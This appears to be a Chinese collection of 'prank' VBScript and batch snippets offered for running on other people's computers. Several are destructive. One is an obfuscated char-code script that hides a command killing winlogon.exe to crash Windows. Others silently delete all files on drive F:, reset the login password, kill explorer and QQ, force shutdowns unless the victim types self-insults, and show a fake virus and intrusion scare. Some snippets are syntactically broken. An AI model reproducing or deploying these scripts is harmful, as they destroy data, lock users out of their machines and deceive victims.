整人vbs

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代码:

Set ws=WScript.CreateObject("WScript.Shell")

ws.popup"大家好，我就是改变社会风气，风魔万千少女，刺激电影市道，提高年轻人内涵，",10,"闪亮登场",64

ws.popup"玉树临风，风度翩翩的……“咕噜…咕噜…”，不好意思，我内急先闪了，再见！",15,"farewell",64

wscript.sleep 100000

ws.popup"发现重要windows更新未安装，系统将自动下载更新并安装",10

ws.popup"正在下载windows更新……",12

wscript.sleep 10000

ws.popup"windows更新已下载完毕，正在安装更新……",12

wscript.sleep 3000

msgbox"系统检测到WINDOWS更新中携带有不明软件 comcontroler.exe ，并在强行嵌入你的电脑",4132,"是否对其进行扫描？"

msgbox"软件名：comcontroler.exe "&vbcrlf&""&vbcrlf&" 大小：1.21MB "&vbcrlf&""&vbcrlf&" 发行者：幻想丶永恒（403746401）"&vbcrlf&""&vbcrlf&" 安全状况：有病毒",vbinformation

msgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安装"

msgbox"阻止失败，请检查防火墙是否开启"

wscript.sleep 15000

ws.popup"windows更新安装成功！",vbinfmation,20

msgbox"您的电脑可能已被入侵，请尽快修改您的QQ密码及其他机密资料,以免QQ被盗或丢失资料",vbinformation

ws.popup"哈哈，我已经控制了你的电脑！",12,"很高兴见到你",64

ws.popup"不信？我用你的电脑打开我的QQ空间给你看看",10

ws.run"/index.htm"

ws.popup"现在相信了吧？我再打开你的记事本给你写封英语信",20

ws.popup"记事本会被打开并最大化，这时你不要动，千万别把目标转移到其他窗口，耐心看我把信写完。否则引起系统混乱我可不负责！"

ws.run "notepad",3 : wscript.sleep 2000

verybat=split("dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it's ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it ,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~, lhj",",")

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代码2:

WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)

WScript.Echo("你是可爱的XX童鞋吗?")

WScript.Echo("哈,我想你拉，这你都不知道吗？")

WScript.Echo("怎么才来，说~是不是不关心我")

WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")

WScript.Echo("夜黑很生气，后果很严重哦。")

WScript.Echo("嘿嘿！你也会很惨滴哦")

WScript.Echo("是不是想清除我？")

WScript.Echo("那你要点上100下哦，不过会给你惊喜滴")

WScript.Echo("还剩100下，快点点哦")

WScript.Echo("还剩99下，快点，小笨蛋！")

WScript.Echo("还剩98下对，就这样快点点！")

WScript.Echo("还剩97下。你啊就是笨，要快哦，我先不打扰你工作。")

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WScript.Echo("哎看你可怜，饶了你吧")

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WScript.Echo("还剩下停停！！！慢点，我有话要说")

WScript.Echo("还剩下，你继续点我就会消失滴")

WScript.Echo("还剩下，以后就看不到我拉。呜呜~555555")

WScript.Echo("还剩下，你现在可以选择停止！")

WScript.Echo("还剩下。你还点啊，不要我拉？")

WScript.Echo("还剩下，有点伤心拉，干嘛丢弃人家")

WScript.Echo("还剩下。疯了，你有点负意！")

WScript.Echo("还剩下。对。你就点吧，我恨你！")

WScript.Echo("还剩下，不明白，删除我你就好吗？")

WScript.Echo("还剩下！真要删除我？")

WScript.Echo("还剩下。可是我真的很眷恋你。。。")

WScript.Echo("还剩下。不要这么绝情嘛，人家是爱你的！")

WScript.Echo("还剩下。哼，既然你这么绝情。也别怪我无义！！！")

WScript.Echo("我本因该消失的，不过我留恋你滴芳容，万能的上帝又给了一次机会。")

WScript.Echo("想结束我么?那你就再多点一次")

WScript.Echo("呵呵。QQ1021435988")

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蓝屏代码:

strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-

23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-

13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103

,98,111,120,32,34,-15133,89,-13899,-20026,-

20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-

14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-

13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-

24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-

18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1

01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,

46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,

116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1

03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101

,110,100,32,105,102,13,10,13,10,13,10)

for i=1 to UBound(strs)

runner=runner&chr(strs(i))

Execute runner

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掉qq：

taskkill /im qq.exe /f /t

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10秒强制关机（任务管理器无效）：

shutdown -s -t 10

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死机：

start cmd

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设置登录密码为2010：

net user "%username%" 2010

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让电脑只剩一个背景

taskkill /im /f /t explorer.exe

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莫名其妙结束当前程序:

set ws=createobject("wscript.shell")

ws.sendkeys "%{f4}"

loop

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不断提示你是猪:

msgbox("你是猪")

loop

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on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是大笨笨！哈哈，不说我就一分钟关你机，不信，试试···我说到做到！"" ",0 ,true

dim a

do while(a <> "我是大笨蛋！哈哈！我是大肥猪！")

a = inputbox ("说我是大笨蛋！哈哈！我是大肥猪！,我就不关你的机，快撒，说 ""我是大笨笨！哈哈"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛猪"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾嘎嘎.爽歪歪啊 "

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“我是畜生”:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 25 -c ""说我是畜生，不说就20秒关你机，不信，试试···"" ",0 ,true

dim a

do while(a <> "我是畜生")

a = inputbox ("说我是畜生,就不关机，快撒，说 ""我是畜生"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

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10秒关机:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 10 -c ""你被耍了"" ",0 ,true

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刷对话框:

msgbox("你被耍了")

loop

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直接关机:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -s ",0 ,true

---------------------------------------------------------------------一分钟弹出一次:

do until i=10

i=i+1

msgbox "CPU温度过高，系统出现严重误！",16+4096,"系统提示"

wscript.sleep 1000*60 '时间可以自己改

loop

---------------------------------------------------------------------<script language="javascript">

function hr(){

alert('你关不掉的^_^')

hr();

}

</script>

</body>

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msgbox "你死定了！"

loop

还有更多的！：

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删除F:\所有文件

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del f:\*.* / f /q /s""",0 ,true

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不断按下alt+f4 （开什么都关闭……） :

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

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